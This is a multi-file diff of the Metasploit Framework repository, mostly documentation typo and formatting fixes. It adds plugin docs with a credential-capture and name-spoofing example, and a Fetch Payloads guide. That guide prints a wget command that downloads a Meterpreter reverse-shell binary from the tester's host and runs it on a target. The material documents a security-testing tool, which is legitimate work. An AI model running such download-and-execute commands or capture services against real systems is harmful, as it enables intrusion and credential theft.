"V5_9_7_SNAPSHOT",
"V5_9_7",
"V5_9_8_SNAPSHOT",
"V5_9_8",
"V5_9_9_SNAPSHOT",
"V5_9_9",
"HIGHER_VERSION"
]
Binary file not shown.
File diff suppressed because one or more lines are too long
+5
View File
@@ -0,0 +1,5 @@
\x02\x01thisismyscretkey\x01\x02\\e\\y\\y\\h
CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET
thisISaSECRET_1234
YOUR_OWN_RANDOM_GENERATED_SECRET_KEY
TEST_NON_DEV_SECRET
@@ -57,3 +57,5 @@ woocommerce-abandoned-cart
elementor
bookingpress
paid-memberships-pro
woocommerce-payments
file-manager-advanced-shortcode
+27230 -1368
View File
File diff suppressed because it is too large Load Diff
@@ -93,7 +93,7 @@ One advantage that this directory structure gives us is the ability to write bet
### Shared build tasks
Because all routine module-oriented tasks will be preformed with rake tasks, we will need to make the default actions for these tasks as intelligent and reusable as possible across different module types/implementations. A module author should not have to worry about writing plumbing they do not need (or is common) or messing with plumbing that is only tangentially related to their unique need. To that end, we should have sane defaults for the following at a minimum:
Because all routine module-oriented tasks will be performed with rake tasks, we will need to make the default actions for these tasks as intelligent and reusable as possible across different module types/implementations. A module author should not have to worry about writing plumbing they do not need (or is common) or messing with plumbing that is only tangentially related to their unique need. To that end, we should have sane defaults for the following at a minimum:
```
rake run -- Start module, hook up stdin/stdout to JSON-RPC
@@ -115,4 +115,4 @@ At the very least, we will also need tooling to create a mostly-empty but runnab
### For classic modules
The biggest differences for classic modules are metadata generation and running. These can be accomplished with rake tasks, but it would involve starting up a whole framework instance for each module run. For efficiency, we will need to signal to framework to treat the module specially, perhaps having rake deps:check output/return a specific value when the module needs to be run inside of framework. Metadata would then be dumped directly from the framework loader, and instead of rake run, the classic module loader/runner would be run much as it is today. We will probably want to keep the rake tasks for these things for when we don't already have a framework instance handy.
The biggest differences for classic modules are metadata generation and running. These can be accomplished with rake tasks, but it would involve starting up a whole framework instance for each module run. For efficiency, we will need to signal to framework to treat the module specially, perhaps having rake deps:check output/return a specific value when the module needs to be run inside of framework. Metadata would then be dumped directly from the framework loader, and instead of rake run, the classic module loader/runner would be run much as it is today. We will probably want to keep the rake tasks for these things for when we don't already have a framework instance handy.
@@ -106,7 +106,7 @@ Enter passphrase: [...]
2. Modify your `.git/config` file to enable signing commits and merges by default:
````
```ini
[user]
name = Your Name
email = your_email@example.com
@@ -114,7 +114,7 @@ Enter passphrase: [...]
[alias]
c = commit -S --edit
m = merge -S --no-ff --edit
````
```
Using `git c` and `git m` from now on will sign every commit with your `DEADBEEF` key. However, note that rebasing or cherry-picking commits will change the commit hash, and therefore, unsign the commit -- to resign the most recent, use `git c --amend`.
@@ -58,7 +58,7 @@ You probably shouldn't run proof of concept exploit code you find on the Interne
Also, please take a peek at our guides on using git and our acceptance guidelines for new modules in case you're not familiar with them.
If you get stuck, try to explain your specific problem as best you can on our [Freenode IRC](https://freenode.net/) channel, #metasploit (joining requires a [registered nick](https://freenode.net/kb/answer/registration)). Someone should be able to lend a hand. Apparently, some of those people never sleep.
If you get stuck, try to explain your specific problem as best you can on our [Freenode IRC](https://freenode.net/) channel, #metasploit (joining requires a [registered nick](https://freenode.net/view/Nick_Registration)). Someone should be able to lend a hand. Apparently, some of those people never sleep.
# Thank you
@@ -147,7 +147,7 @@ This method is just a stub on the Base mixin. It will be overridden in each Logi
For an example let's look at the attempt_login method from `Metasploit::Framework::LoginScanner::FTP (lib/metasploit/framework/login_scanner/ftp.rb)`
```ruby
```ruby
# (see Base#attempt_login)
def attempt_login(credential)
result_options = {
@@ -156,7 +156,7 @@ def attempt_login(credential)
begin
success = connect_login(credential.public, credential.private)
rescue ::EOFError, Rex::AddressInUse, Rex::ConnectionError, Rex::ConnectionTimeout, ::Timeout::Error
rescue ::EOFError, Rex::AddressInUse, Rex::ConnectionError, Rex::ConnectionProxyError, Rex::ConnectionTimeout, Rex::TimeoutError, Errno::ECONNRESET, Errno::EINTR, ::Timeout::Error
result_options[:status] = Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
success = false
end
@@ -170,7 +170,7 @@ def attempt_login(credential)
::Metasploit::Framework::LoginScanner::Result.new(result_options)
end
```
```
### scan!
@@ -12,8 +12,12 @@ The pgp signatures below can be verified with the following [public key](https:/
|Download Link|File Type|SHA1|PGP|
|-|-|-|-|
| [metasploit-4.22.0-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/metasploit-latest-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/metasploit-latest-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/metasploit-latest-windows-x64-installer.exe.asc)|
| [metasploit-4.22.0-linux-x64-installer.run](https://downloads.metasploit.com/data/releases/metasploit-latest-linux-x64-installer.run) | Linux 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/metasploit-latest-linux-x64-installer.run.sha1) | [PGP](https://downloads.metasploit.com/data/releases/metasploit-latest-linux-x64-installer.run.asc)|
| [metasploit-4.22.2-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/metasploit-latest-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/metasploit-latest-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/metasploit-latest-windows-x64-installer.exe.asc)|
| [metasploit-4.22.2-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/metasploit-latest-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/metasploit-latest-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/metasploit-latest-windows-x64-installer.exe.asc)|
| [metasploit-4.22.1-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.1-2023071701-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.1-2023071701-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.1-2023071701-windows-x64-installer.exe.asc)|
| [metasploit-4.22.1-linux-x64-installer.run](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.1-2023071701-linux-x64-installer.run) | Linux 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.1-2023071701-linux-x64-installer.run.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.1-2023071701-linux-x64-installer.run.asc)|
| [metasploit-4.22.0-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.0-2023050901-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.0-2023050901-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.0-2023050901-windows-x64-installer.exe.asc)|
| [metasploit-4.22.0-linux-x64-installer.run](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.0-2023050901-linux-x64-installer.run) | Linux 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.0-2023050901-linux-x64-installer.run.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.0-2023050901-linux-x64-installer.run.asc)|
| [metasploit-4.21.1-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.1-2023011701-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.1-2023011701-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.1-2023011701-windows-x64-installer.exe.asc)|
| [metasploit-4.21.1-linux-x64-installer.run](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.1-2023011701-linux-x64-installer.run) | Linux 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.1-2023011701-linux-x64-installer.run.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.1-2023011701-linux-x64-installer.run.asc)|
| [metasploit-4.21.0-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.0-2022052401-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.0-2022052401-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.0-2022052401-windows-x64-installer.exe.asc)|
@@ -28,7 +28,7 @@ Difficulty: 3/5
### Enhance Sql Injection Support
Enable faster implementation of SQL injection based explot modules by adding library support for common injection attack vectors. Currently very few sql injection exploits are implemented for Metasploit possibly due to the high complexity of building out injection queries and posting them to a vulnerable URI.
Enable faster implementation of SQL injection based exploit modules by adding library support for common injection attack vectors. Currently very few sql injection exploits are implemented for Metasploit possibly due to the high complexity of building out injection queries and posting them to a vulnerable URI.
Difficulty: 3/5
@@ -6,7 +6,7 @@ Mentors: [@zerosteiner](https://github.com/zerosteiner), [@jmartin-r7](https://g
### Retain active status of authentication tokens
Many testing techniques interacting with web servers such as `XSS` rely on ensuring authentication obtained on a target be kept active. A mechanism for regstering and maintaining open authentications identified during a test for the duration of the console session may provide an additional utility to enable more modules to target techniques that need valid authentication to be maintained. One such authentication token would be data retained in a cookie for a web service. This project would lay the groundwork for registering gathered or generated authenticaion tokens against a target to be refreshed and sustained until a console exits, or in some cases across console restarts.
Many testing techniques interacting with web servers such as `XSS` rely on ensuring authentication obtained on a target be kept active. A mechanism for registering and maintaining open authentications identified during a test for the duration of the console session may provide an additional utility to enable more modules to target techniques that need valid authentication to be maintained. One such authentication token would be data retained in a cookie for a web service. This project would lay the groundwork for registering gathered or generated authenticaion tokens against a target to be refreshed and sustained until a console exits, or in some cases across console restarts.
Difficulty: 2/5
@@ -31,7 +31,7 @@ Difficulty: 3/5
### Enhanced LDAP Query & Collection
When preforming security assessment on a network with centralized login such as LDAP or Active Directory these services are sometimes exposed directly on the network. While Metasploit has capabilities to collect various pieces of information from these services when a user has been able to gain code execution inside a target system by utilizing tooling such as `Sharphound` or by leveraging SMB services via the `secrets_dump` module, these methods are somewhat indirect. A network base capability to query exposed services may have value. An interactive terminal plugin allowing users to connect directly to LDAP or Active Directory providing capabilities similar to the existing `requests` plugin could enable users search for valuable information in these services without the need to compromise a target or interact with a secondary service.
When performing security assessment on a network with centralized login such as LDAP or Active Directory these services are sometimes exposed directly on the network. While Metasploit has capabilities to collect various pieces of information from these services when a user has been able to gain code execution inside a target system by utilizing tooling such as `Sharphound` or by leveraging SMB services via the `secrets_dump` module, these methods are somewhat indirect. A network base capability to query exposed services may have value. An interactive terminal plugin allowing users to connect directly to LDAP or Active Directory providing capabilities similar to the existing `requests` plugin could enable users search for valuable information in these services without the need to compromise a target or interact with a secondary service.
Size: Medium/Large (Depends on proposal)
Difficulty: 3/5
@@ -35,7 +35,7 @@ But of course, to begin, you most likely need a template to work with, and here
```ruby
##
# This module requires Metasploit: http://metasploit.com/download
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
@@ -141,7 +141,7 @@ creds add user:mssql_foo hash:0x0100A607BA7C54A24D17B565C59F1743776A10250F581D48
creds add user:mssql12_Password1! hash:0x0200F733058A07892C5CACE899768F89965F6BD1DED7955FE89E1C9A10E27849B0B213B5CE92CC9347ECCB34C3EFADAF2FD99BFFECD8D9150DD6AACB5D409A9D2652A4E0AF16 jtr:mssql12
creds add user:mysql_probe hash:445ff82636a7ba59 jtr:mysql
creds add user:mysql-sha1_tere hash:*5AD8F88516BD021DD43F171E2C785C69F8E54ADB jtr:mysql-sha1
## oracle (10) uses usernames in the hashing, so we can't overide that here
## oracle (10) uses usernames in the hashing, so we can't override that here
creds add user:simon hash:4F8BC1809CB2AF77 jtr:des,oracle
creds add user:SYSTEM hash:9EEDFA0AD26C6D52 jtr:des,oracle
## oracle 11/12 H value, username is used
@@ -149,7 +149,7 @@ creds add user:DEMO hash:'S:8F2D65FB5547B71C8DA3760F10960428CD307B1C6271691FC55C
## oracle 11/12 uses a LONG format, see lib/msf/core/auxiliary/jtr.rb
creds add user:oracle11_epsilon hash:'S:8F2D65FB5547B71C8DA3760F10960428CD307B1C6271691FC55C1F56554A;H:DC9894A01797D91D92ECA1DA66242209;T:23D1F8CAC9001F69630ED2DD8DF67DD3BE5C470B5EA97B622F757FE102D8BF14BEDC94A3CC046D10858D885DB656DC0CBF899A79CD8C76B788744844CADE54EEEB4FDEC478FB7C7CBFBBAC57BA3EF22C' jtr:raw-sha1,oracle
creds add user:oracle12c_epsilon hash:'H:DC9894A01797D91D92ECA1DA66242209;T:E3243B98974159CC24FD2C9A8B30BA62E0E83B6CA2FC7C55177C3A7F82602E3BDD17CEB9B9091CF9DAD672B8BE961A9EAC4D344BDBA878EDC5DCB5899F689EBD8DD1BE3F67BFF9813A464382381AB36B' jtr:pbkdf2,oracle12c
## postgres uses username, so we can't overide that here
## postgres uses username, so we can't override that here
creds add user:example postgres:md5be86a79bf2043622d58d5453c47d4860
## other
creds add user:hmac_password hash:'<3263520797@127.0.0.1>#3f089332842764e71f8400ede97a84c9' jtr:hmac-md5
@@ -0,0 +1,155 @@
Metasploit plugins can change the behavior of Metasploit framework by adding new features, new user interface commands, and more.
They are designed to have a very loose definition in order to make them as useful as possible.
Plugins are not available by default, they need to be loaded:
```msf
msf6 > load plugin_name
```
Plugins can be automatically loaded and configured on msfconsole's start up by configuring a custom `~/.msf4/msfconsole.rc` file:
```
load plugin_name
plugin_name_command --option
```
## Available Plugins
The current available plugins for Metasploit can be found by running the `load -l` command, or viewing Metasploit's [plugins](https://github.com/rapid7/metasploit-framework/tree/master/plugins) directory:
| name | Description |
|------------------|-----------------------------------------------------------------------------------------------------|
| aggregator | Interacts with the external Session Aggregator |
| alias | Adds the ability to alias console commands |
| auto_add_route | Adds routes for any new subnets whenever a session opens |
| beholder | Capture screenshots, webcam pictures, and keystrokes from active sessions |
| besecure | Integrates with the beSECURE - open source vulnerability management |
| capture | Start all credential capture and spoofing services |
| db_credcollect | Automatically grab hashes and tokens from Meterpreter session events and store them in the database |
| db_tracker | Monitors socket calls and updates the database backend |
| event_tester | Internal test tool used to verify the internal framework event subscriber logic works |
| ffautoregen | This plugin reloads and re-executes a file-format exploit module once it has changed |
| ips_filter | Scans all outgoing data to see if it matches a known IPS signature |
| lab | Adds the ability to manage VMs |
| libnotify | Send desktop notification with libnotify on sessions and db events |
| msfd | Provides a console interface to users over a listening TCP port |
| msgrpc | Provides a MessagePack interface over HTTP |
| nessus | Nessus Bridge for Metasploit |
| nexpose | Integrates with the Rapid7 Nexpose vulnerability management product |
| openvas | Integrates with the OpenVAS - open source vulnerability management |
| pcap_log | Logs all socket operations to pcaps (in /tmp by default) |
| request | Make requests from within Metasploit using various protocols. |
| rssfeed | Create an RSS feed of events |
| sample | Demonstrates using framework plugins |
| session_notifier | This plugin notifies you of a new session via SMS |
| session_tagger | Automatically interacts with new sessions to create a new remote TaggedByUser file |
| socket_logger | Log socket operations to a directory as individual files |
| sounds | Automatically plays a sound when various framework events occur |
| sqlmap | sqlmap plugin for Metasploit |
| thread | Internal test tool for testing thread usage in Metasploit |
| token_adduser | Attempt to add an account using all connected Meterpreter session tokens |
| token_hunter | Search all active Meterpreter sessions for specific tokens |
| wiki | Outputs stored database values from the current workspace into DokuWiki or MediaWiki format |
| wmap | Web assessment plugin |
## Examples
### Alias Plugin
The Alias plugin adds the ability to alias console commands:
```msf
msf6 > load alias
[*] Successfully loaded plugin: alias
msf6 > alias -h
Usage: alias [options] [name [value]]
OPTIONS:
-c Clear an alias (* to clear all).
-f Force an alias assignment.
-h Help banner.
```
Register an alias such as `proxy_enable`:
```msf
msf6 > alias proxy_enable "set Proxies http:localhost:8079"
```
Now when running the aliased `proxy_enable` command, the proxy datastore value will be set for the current module:
```msf
msf6 auxiliary(scanner/http/title) > proxy_enable
Proxies => http:localhost:8079
```
Viewing registered aliases:
```msf
msf6 > alias
Current Aliases
===============
Alias Name Alias Value
---------- -----------
alias proxy_enable set Proxies http:localhost:8079
```
To automatically load and configure the alias plugin on startup of Metasploit, create a custom `~/.msf4/msfconsole.rc` file:
```
load alias
alias proxy_enable "set Proxies http:localhost:8079"
alias proxy_disable "unset Proxies"
alias routes "route print"
```
### Capture Plugin
Capturing credentials is a critical and early phase in the playbook of many offensive security testers. Metasploit has
facilitated this for years with protocol-specific modules all under the `modules/auxiliary/server/capture` directory. Users can start and configure
each of these modules individually, but now the capture plugin can streamline the process. The capture plugin can easily start 13
different services (17 including SSL enabled versions) on the same listening IP address including remote interfaces via Meterpreter.
A configuration file can be used to select individual services to start and once finished, all services can easily be stopped
using a single command.
To use the plugin, it must first be loaded. That will provide the `captureg` command (for Capture-Global) which then offers start
and stop subcommands. In the following example, the plugin is loaded, and then all default services are started on the 192.168.159.128 interface.
```msf
msf6 > load capture
[*] Successfully loaded plugin: Credential Capture
msf6 > captureg start --ip 192.168.159.128
Logging results to /home/smcintyre/.msf4/logs/captures/capture_local_20220325104416_589275.txt
Hash results stored in /home/smcintyre/.msf4/loot/captures/capture_local_20220325104416_612808
[+] Authentication Capture: DRDA (DB2, Informix, Derby) started
[+] Authentication Capture: FTP started
[+] HTTP Client MS Credential Catcher started
[+] HTTP Client MS Credential Catcher started
[+] Authentication Capture: IMAP started
[+] Authentication Capture: MSSQL started
[+] Authentication Capture: MySQL started
[+] Authentication Capture: POP3 started
[+] Authentication Capture: PostgreSQL started
[+] Printjob Capture Service started
[+] Authentication Capture: SIP started
[+] Authentication Capture: SMB started
[+] Authentication Capture: SMTP started
[+] Authentication Capture: Telnet started
[+] Authentication Capture: VNC started
[+] Authentication Capture: FTP started
[+] Authentication Capture: IMAP started
[+] Authentication Capture: POP3 started
[+] Authentication Capture: SMTP started
[+] NetBIOS Name Service Spoofer started
[+] LLMNR Spoofer started
[+] mDNS Spoofer started
[+] Started capture jobs
msf6 >
```
This content was originally posted on the [Rapid7 Blog](https://www.rapid7.com/blog/post/2022/03/25/metasploit-weekly-wrap-up-154/).
@@ -62,9 +62,9 @@ res = @http_client.send_request_cgi({
The cookies returned by the server with a successful login need to be attached to all future requests, so `'keep_cookies' => true,` is used to add all returned cookies to the HttpClient CookieJar and attach them to all subsequent requests.
### `cookie` option
Shown below is the request used to login to a gitlab account in the [artical\_proxy\_auth\_bypass\_service\_cmds\_peform\_command\_injection module](https://github.com/rapid7/metasploit-framework/blob/92d981fff2b4a40324969fd1d1744219589b5fa3/modules/exploits/linux/http/artica_proxy_auth_bypass_service_cmds_peform_command_injection.rb#L115)
Shown below is the request used to login to a gitlab account in the [artica\_proxy\_auth\_bypass\_service\_cmds\_peform\_command\_injection module](https://github.com/rapid7/metasploit-framework/blob/92d981fff2b4a40324969fd1d1744219589b5fa3/modules/exploits/linux/http/artica_proxy_auth_bypass_service_cmds_peform_command_injection.rb#L115)
artical\_proxy\_auth\_bypass\_service\_cmds\_peform\_command\_injection requires a specific cookie header to be sent with a request in order to achieve RCE. By setting a string of the desired header as the value of the `cookie` option, that string is set as the cookie header without any changes, allowing the exploit to be carried out.
artica\_proxy\_auth\_bypass\_service\_cmds\_peform\_command\_injection requires a specific cookie header to be sent with a request in order to achieve RCE. By setting a string of the desired header as the value of the `cookie` option, that string is set as the cookie header without any changes, allowing the exploit to be carried out.
```ruby
res = send_request_cgi({
@@ -49,7 +49,7 @@ Here's the most basic example of an auxiliary module. We'll explain a bit more a
```ruby
##
# This module requires Metasploit: http://metasploit.com/download
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
@@ -86,7 +86,7 @@ Because the ```Msf::Auxiliary::Scanner``` mixin is so popular, we figured you wa
```ruby
##
# This module requires Metasploit: http://metasploit.com/download
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
@@ -38,7 +38,7 @@ For debugging purposes, it's always better to turn on the highest level of loggi
There are mainly five logging methods you will most likely be using a lot, and they all have the exact same arguments. Let's use one of the logging methods to explain what these arguments are about:
```
```ruby
def elog(msg, src = 'core', level = 0, from = caller)
```
@@ -50,7 +50,7 @@ And then you are ready to go.
The first thing you do with ObfuscateJS is you need to initialize it with the JavaScript you want to obfuscate, so in this case, begin like the following:
```
```ruby
js = %Q|
var arrr = new Array();
arrr[0] = windows.document.createElement("img");
@@ -82,7 +82,7 @@ So if I want to obfuscate the variable ```arrr```, and I want to obfuscate the s
In some cases, you might actually want to know the obfuscated version of a symbol name. One scenario is calling a JavaScript function from an element's event handler, such as this:
```
```html
<html>
<head>
<script>
@@ -150,7 +150,7 @@ This time we'll do a "hello world" example:
And here's the output:
```
```javascript
window[(function () { var _d="t",y="ler",N="a"; return N+y+_d })()]((function () { var f='d!',B='orl',Q2='h',m='ello, w'; return Q2+m+B+f })());
```
@@ -24,7 +24,7 @@ int main(void) {
require 'metasploit/framework/compiler/windows'
## Save as an exe varibale
## Save as an exe variable
exe = Metasploit::Framework::Compiler::Windows.compile_c(c_template)
## Save the binary as a file
@@ -119,4 +119,4 @@ int main() {
outfile = "/tmp/helloworld.exe"
weight = 70 # This value is used to determine how random the code gets.
Metasploit::Framework::Compiler::Windows.compile_random_c_to_file(outfile, c_source_code, weight: weight)
```
```
@@ -89,7 +89,7 @@ First ensure you are running the Metasploit database, and are running the JSON s
Request:
```
```sh
curl --request POST \
--url http://localhost:8081/api/v1/json-rpc \
--header 'Content-Type: application/json' \
@@ -118,7 +118,7 @@ Response:
Request:
```
```sh
curl --request POST \
--url http://localhost:8081/api/v1/json-rpc \
--header 'Content-Type: application/json' \
@@ -155,7 +155,7 @@ Response:
Request:
```
```sh
curl --request POST \
--url http://localhost:8081/api/v1/json-rpc \
--header 'content-type: application/json' \
@@ -185,7 +185,7 @@ Response:
Metasploit modules support running `check` methods which can be used to identify the success of an exploit module, or to run an
auxiliary module against a target. For instance, with an Auxiliary module check request:
```
```sh
curl --request POST \
--url http://localhost:8081/api/v1/json-rpc \
--header 'Content-Type: application/json' \
@@ -205,7 +205,7 @@ curl --request POST \
Or an Exploit module check request:
```
```sh
curl --request POST \
--url http://localhost:8081/api/v1/json-rpc \
--header 'content-type: application/json' \
@@ -240,7 +240,7 @@ The response will contain an identifier which can be used to query for updates:
Request:
```
```sh
curl --request POST \
--url http://localhost:8081/api/v1/json-rpc \
--header 'Content-Type: application/json' \
@@ -288,7 +288,7 @@ It is possible to poll for module results using the id returned when running a m
Request:
```
```sh
curl --request POST \
--url http://localhost:8081/api/v1/json-rpc \
--header 'Content-Type: application/json' \
@@ -353,7 +353,7 @@ but the memory is limited to 35mb as the memory datastore used is implemented by
Request:
```
```sh
curl --request POST \
--url http://localhost:8081/api/v1/json-rpc \
--header 'Content-Type: application/json' \
@@ -445,7 +445,7 @@ curl --request POST \
Run the analyze command:
```
```sh
curl --request POST \
--url http://localhost:8081/api/v1/json-rpc \
--header 'Authorization: Bearer ' \
@@ -491,7 +491,7 @@ Response:
When analyzing a host, it is also possible to specify payload requirements for additional granularity:
```
```sh
curl --request POST \
--url http://localhost:8081/api/v1/json-rpc \
--header 'Authorization: Bearer ' \
@@ -128,7 +128,7 @@ The best way to let the user decide what kind of payload to use is by defining s
Here is an example targets section from a command injection module:
```
```ruby
'Targets' => [
[
'Unix Command',
@@ -279,7 +279,7 @@ msf exploit(cmdstager_demo) > run
# Flavors
Now that we know how to use the `Msf::Exploit::CmdStager` mixin, let's take a look at the command
stagers you can use. As mentioned above there are 2 general approaches to staging an executable on disk: by invoking a command that will download the executable file to disk like wget, curl, or fetch, or by breaking the executable file into pieces and including them commands themselves to write it to disk like echo, printf, or vbs. This delineation can be important, as trying to wite a stageless binary payload to disk using a stager that has to include the chunked payload in it will require the execution of dozens of commands, often each one having the signature of the exploit. It is also useful to know the `printf` flavor is the only flavor that embeds the payload into the commands but does ***not*** use `echo`.
stagers you can use. As mentioned above there are 2 general approaches to staging an executable on disk: by invoking a command that will download the executable file to disk like wget, curl, or fetch, or by breaking the executable file into pieces and including them commands themselves to write it to disk like echo, printf, or vbs. This delineation can be important, as trying to write a stageless binary payload to disk using a stager that has to include the chunked payload in it will require the execution of dozens of commands, often each one having the signature of the exploit. It is also useful to know the `printf` flavor is the only flavor that embeds the payload into the commands but does ***not*** use `echo`.
Available flavors:
@@ -0,0 +1,334 @@
# Fetch Payloads
## What Are Fetch Payloads?
Fetch payloads are adapted, command-based payloads use network-enabled binaries on a remote host to download binary
payloads to that remote host. Adapted payloads are just payloads where we have bolted an extra feature on top of
existing payloads to modify the behavior. In this case, you can still use all your favorite binary payloads and
transports, but we've added an optional fetch payload adapter on top to stage the payloads using a networking binary and
server. They function similarly to some Command Stagers, but are based on the payload side rather than the exploit side
to simplify integration and portability. Fetch payloads are a fast, easy way to get a session on a target that has a
command injection or code execution vulnerability *and* a known binary with the ability to download and store
a file.
## Terminology
In the following documentation, it is useful to agree on certain terms to use so we don't get confused or confusing.
`Fetch Payload` - The command to execute on the remote host to retrieve and execute the `Served Payload`
`Fetch Binary` - The binary we are using on the remote host to download the Served Payload. Examples might be WGET,
cURL, or Certutil.
`Fetch Protocol` - The protocol used to download the served payload, for example HTTP, HTTPS or TFTP.
`Fetch Listener` - The server hosting the served payload.
`Fetch Handler` - The same as `Fetch Listener`
`Served Payload` - The underlying payload we want to execute. We also might call this the `Adapted Payload`.
`Served Payload Handler` - The handler for the served payload. This is just a standard payload like
`meterpreter/reverse_tcp` or `shell_reverse_tcp`.
## Organization
Unlike Command Stagers which are organized by binary, Fetch Payloads are organized by server. Currently, we support
HTTP, HTTPS, and TFTP servers. Once you select a fetch payload, you can select the binary you'd like to run on the
remote host to download the served payload prior to execution.
Here is the naming convention for fetch payloads:
`<cmd>/<platform>/<fetch protocol>/served_payload`
For example:
`cmd/linux/https/x64/meterpreter/reverse_tcp` Will do four things:
1. Create a `linux/x64/meterpreter/reverse_tcp` elf binary to be the served payload.
2. Serve the above served payload on an HTTPS server
3. Start a served payload handler for the served payload to call back to
4. Generate a command to execute on a remote host that will download the served payload and run it.
## A Simple Stand-Alone Example
The fastest way to understand Fetch Payloads is to use them and examine the output. For example, let's assume a Linux
target with the ability to connect back to us with an HTTP connection and a command execution vulnerability.
First, let's look at the payload in isolation:
```msf
msf6 exploit(multi/ssh/sshexec) > use payload/cmd/linux/http/x64/meterpreter/reverse_tcp
msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > show options
Module options (payload/cmd/linux/http/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
FETCH_FILENAME YXeSdwsoEfOH no Name to use on remote system when storing payload
FETCH_SRVHOST 0.0.0.0 yes Local IP to use for serving payload
FETCH_SRVPORT 8080 yes Local port to use for serving payload
FETCH_URIPATH no Local URI to use for serving payload
FETCH_WRITABLE_DIR yes Remote writable dir to store payload
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
View the full module info with the info, or info -d command.
msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) >
```
### Options
`FETCH_COMMAND` is the binary we wish to run on the remote host to download the adapted payload. Currently, the
supported options are `CURL FTP TFTP TNFTP WGET` on Linux hosts and `CURL TFTP CERTUTIL` on Windows hosts. We'll get
into more details on the binaries later.
`FETCH_FILENAME` is the name you'd like the executable payload saved as on the remote host. This option is not
supported by every binary and must end in `.exe` on Windows hosts. The default value is random.
`FETCH_SRVHOST` is the IP where the server will listen.
`FETCH_SRVPORT` is the port where the server will listen.
`FETCH_URIPATH` is the URI corresponding to the payload file. The default value is deterministic based on the
underlying payload so a payload created in msfvenom will match a listener started in Framework assuming the underlying
served payload is the same.
`FETCH_WRITABLE_DIR` is the directory on the remote host where we'd like to store the served payload prior to execution.
This value is not supported by all binaries. If you set this value and it is not supported, it will generate an error.
The remaining options will be the options available to you in the served payload; in this case our served payload is
`linux/x64/meterpreter/reverse_tcp` so our only added options are `LHOST` and `LPORT`. If we had selected a different
payload, we would see different options.
### Generating the Fetch Payload
```msf
msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > set FETCH_COMMAND WGET
FETCH_COMMAND => WGET
msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > set FETCH_SRVHOST 10.5.135.201
FETCH_SRVHOST => 10.5.135.201
msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > set FETCH_SRVPORT 8000
FETCH_SRVPORT => 8000
msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > set LHOST 10.5.135.201
LHOST => 10.5.135.201
msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > set LPORT 4567
LPORT => 4567
msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > generate -f raw
wget -qO ./YXeSdwsoEfOH http://10.5.135.201:8000/3cP1jDrJ3uWM1WrsRx3HTw; chmod +x ./YXeSdwsoEfOH; ./YXeSdwsoEfOH &
msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) >
```
You can see the fetch payload generated:
`wget -qO ./YXeSdwsoEfOH http://10.5.135.201:8000/3cP1jDrJ3uWM1WrsRx3HTw; chmod +x ./YXeSdwsoEfOH; ./YXeSdwsoEfOH &`
This command downloads the served payload, marks it as executable, and then executes it on the remote host.
### Starting the Fetch Server
When you start the `Fetch Handler`, it starts both the server hosting the binary payload *and* the listener for the
served payload. With `verbose` set to `true`, you can see both the Fetch Handler and the Served Payload Handler are
started:
```msf
msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > to_handler
